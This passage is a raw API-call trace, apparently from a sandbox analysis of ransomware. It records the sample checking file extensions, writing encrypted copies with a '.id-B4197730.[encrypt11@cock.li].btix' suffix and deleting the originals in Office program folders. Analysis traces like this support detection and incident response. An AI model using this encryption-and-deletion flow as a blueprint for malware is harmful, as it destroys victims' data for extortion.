(lpString1=".docx", lpString2="0.dll") returned -1 [0055.409] lstrlenW (lpString=".pdf") returned 4 [0055.409] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.409] lstrlenW (lpString=".xls") returned 4 [0055.409] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.409] lstrlenW (lpString=".xlsx") returned 5 [0055.409] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.409] lstrlenW (lpString=".ppt") returned 4 [0055.409] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0055.409] lstrlenW (lpString=".zip") returned 4 [0055.409] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.409] lstrlenW (lpString=".rar") returned 4 [0055.409] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.409] lstrlenW (lpString=".bz2") returned 4 [0055.409] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.409] lstrlenW (lpString=".7z") returned 3 [0055.409] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0055.409] lstrlenW (lpString=".dbf") returned 4 [0055.409] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0055.409] lstrlenW (lpString=".1cd") returned 4 [0055.409] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0055.409] lstrlenW (lpString=".jpg") returned 4 [0055.409] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0055.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0055.410] lstrlenW (lpString=".doc") returned 4 [0055.410] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.410] lstrlenW (lpString=".docx") returned 5 [0055.410] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.410] lstrlenW (lpString=".pdf") returned 4 [0055.410] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.410] lstrlenW (lpString=".xls") returned 4 [0055.410] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.410] lstrlenW (lpString=".xlsx") returned 5 [0055.410] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.410] lstrlenW (lpString=".ppt") returned 4 [0055.410] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0055.410] lstrlenW (lpString=".zip") returned 4 [0055.410] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.410] lstrlenW (lpString=".rar") returned 4 [0055.410] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.410] lstrlenW (lpString=".bz2") returned 4 [0055.410] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.410] lstrlenW (lpString=".7z") returned 3 [0055.410] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0055.410] lstrlenW (lpString=".dbf") returned 4 [0055.410] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0055.410] lstrlenW (lpString=".1cd") returned 4 [0055.410] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0055.410] lstrlenW (lpString=".jpg") returned 4 [0055.410] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.410] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.411] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26 [0055.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0055.411] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=307416) returned 1 [0055.411] CloseHandle (hObject=0x38c) returned 1 [0055.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0055.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0055.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0055.411] lstrlenW (lpString=".doc") returned 4 [0055.411] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.411] lstrlenW (lpString=".docx") returned 5 [0055.411] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0055.411] lstrlenW (lpString=".pdf") returned 4 [0055.411] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.411] lstrlenW (lpString=".xls") returned 4 [0055.411] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.411] lstrlenW (lpString=".xlsx") returned 5 [0055.411] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0055.412] lstrlenW (lpString=".ppt") returned 4 [0055.412] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0055.412] lstrlenW (lpString=".zip") returned 4 [0055.412] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.412] lstrlenW (lpString=".rar") returned 4 [0055.412] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.412] lstrlenW (lpString=".bz2") returned 4 [0055.412] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.412] lstrlenW (lpString=".7z") returned 3 [0055.412] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0055.412] lstrlenW (lpString=".dbf") returned 4 [0055.412] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0055.412] lstrlenW (lpString=".1cd") returned 4 [0055.412] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0055.412] lstrlenW (lpString=".jpg") returned 4 [0055.412] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0055.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0055.412] lstrlenW (lpString=".doc") returned 4 [0055.412] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.412] lstrlenW (lpString=".docx") returned 5 [0055.412] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0055.412] lstrlenW (lpString=".pdf") returned 4 [0055.412] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.412] lstrlenW (lpString=".xls") returned 4 [0055.412] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.412] lstrlenW (lpString=".xlsx") returned 5 [0055.412] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0055.412] lstrlenW (lpString=".ppt") returned 4 [0055.412] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0055.413] lstrlenW (lpString=".zip") returned 4 [0055.413] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.413] lstrlenW (lpString=".rar") returned 4 [0055.413] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.413] lstrlenW (lpString=".bz2") returned 4 [0055.413] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.413] lstrlenW (lpString=".7z") returned 3 [0055.413] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0055.413] lstrlenW (lpString=".dbf") returned 4 [0055.413] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0055.413] lstrlenW (lpString=".1cd") returned 4 [0055.413] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0055.413] lstrlenW (lpString=".jpg") returned 4 [0055.413] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.413] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.413] lstrlenW (lpString="AppVIntegration.dll") returned 19 [0055.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0055.413] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=2118360) returned 1 [0055.413] CloseHandle (hObject=0x38c) returned 1 [0055.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0055.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0055.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0055.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0055.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0055.415] lstrlenW (lpString=".doc") returned 4 [0055.415] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.415] lstrlenW (lpString=".docx") returned 5 [0055.415] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0055.415] lstrlenW (lpString=".pdf") returned 4 [0055.415] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.415] lstrlenW (lpString=".xls") returned 4 [0055.415] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.415] lstrlenW (lpString=".xlsx") returned 5 [0055.415] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0055.415] lstrlenW (lpString=".ppt") returned 4 [0055.415] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0055.415] lstrlenW (lpString=".zip") returned 4 [0055.415] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.415] lstrlenW (lpString=".rar") returned 4 [0055.415] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.415] lstrlenW (lpString=".bz2") returned 4 [0055.415] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.415] lstrlenW (lpString=".7z") returned 3 [0055.415] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0055.415] lstrlenW (lpString=".dbf") returned 4 [0055.415] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0055.415] lstrlenW (lpString=".1cd") returned 4 [0055.416] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0055.416] lstrlenW (lpString=".jpg") returned 4 [0055.416] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0055.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0055.416] lstrlenW (lpString=".doc") returned 4 [0055.416] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.416] lstrlenW (lpString=".docx") returned 5 [0055.416] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0055.416] lstrlenW (lpString=".pdf") returned 4 [0055.416] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.416] lstrlenW (lpString=".xls") returned 4 [0055.416] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.416] lstrlenW (lpString=".xlsx") returned 5 [0055.416] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0055.416] lstrlenW (lpString=".ppt") returned 4 [0055.416] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0055.416] lstrlenW (lpString=".zip") returned 4 [0055.416] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.416] lstrlenW (lpString=".rar") returned 4 [0055.416] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.416] lstrlenW (lpString=".bz2") returned 4 [0055.416] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.417] lstrlenW (lpString=".7z") returned 3 [0055.417] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0055.417] lstrlenW (lpString=".dbf") returned 4 [0055.417] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0055.417] lstrlenW (lpString=".1cd") returned 4 [0055.417] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0055.417] lstrlenW (lpString=".jpg") returned 4 [0055.417] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.417] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.417] lstrlenW (lpString="AppVIsvApi.dll") returned 14 [0055.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0055.417] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=468696) returned 1 [0055.417] CloseHandle (hObject=0x38c) returned 1 [0055.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0055.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0055.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0055.418] lstrlenW (lpString=".doc") returned 4 [0055.418] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.418] lstrlenW (lpString=".docx") returned 5 [0055.418] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0055.418] lstrlenW (lpString=".pdf") returned 4 [0055.418] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.418] lstrlenW (lpString=".xls") returned 4 [0055.418] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.418] lstrlenW (lpString=".xlsx") returned 5 [0055.418] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0055.418] lstrlenW (lpString=".ppt") returned 4 [0055.418] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0055.418] lstrlenW (lpString=".zip") returned 4 [0055.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.418] lstrlenW (lpString=".rar") returned 4 [0055.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.418] lstrlenW (lpString=".bz2") returned 4 [0055.418] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.418] lstrlenW (lpString=".7z") returned 3 [0055.418] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0055.418] lstrlenW (lpString=".dbf") returned 4 [0055.418] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0055.418] lstrlenW (lpString=".1cd") returned 4 [0055.418] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0055.418] lstrlenW (lpString=".jpg") returned 4 [0055.419] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0055.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0055.419] lstrlenW (lpString=".doc") returned 4 [0055.419] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.419] lstrlenW (lpString=".docx") returned 5 [0055.419] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0055.419] lstrlenW (lpString=".pdf") returned 4 [0055.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.419] lstrlenW (lpString=".xls") returned 4 [0055.419] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.419] lstrlenW (lpString=".xlsx") returned 5 [0055.419] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0055.419] lstrlenW (lpString=".ppt") returned 4 [0055.419] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0055.419] lstrlenW (lpString=".zip") returned 4 [0055.419] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.419] lstrlenW (lpString=".rar") returned 4 [0055.419] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.419] lstrlenW (lpString=".bz2") returned 4 [0055.419] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.419] lstrlenW (lpString=".7z") returned 3 [0055.419] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0055.419] lstrlenW (lpString=".dbf") returned 4 [0055.419] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0055.419] lstrlenW (lpString=".1cd") returned 4 [0055.419] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0055.419] lstrlenW (lpString=".jpg") returned 4 [0055.419] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.420] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.420] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0055.420] GetLastError () returned 0x0 [0055.420] ReadFile (in: hFile=0x38c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x60ea0, lpOverlapped=0x0) returned 1 [0055.428] WriteFile (in: hFile=0x398, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x60eb0, lpOverlapped=0x0) returned 1 [0055.433] ReadFile (in: hFile=0x38c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.434] WriteFile (in: hFile=0x398, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xfa, lpOverlapped=0x0) returned 1 [0055.434] SetEndOfFile (hFile=0x398) returned 1 [0055.434] CloseHandle (hObject=0x398) returned 1 [0055.440] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.440] SetEndOfFile (hFile=0x38c) returned 1 [0055.443] CloseHandle (hObject=0x38c) returned 1 [0055.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.443] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1 [0055.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0055.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0055.444] lstrlenW (lpString=".doc") returned 4 [0055.444] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.444] lstrlenW (lpString=".docx") returned 5 [0055.444] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0055.444] lstrlenW (lpString=".pdf") returned 4 [0055.444] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.444] lstrlenW (lpString=".xls") returned 4 [0055.444] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.444] lstrlenW (lpString=".xlsx") returned 5 [0055.444] 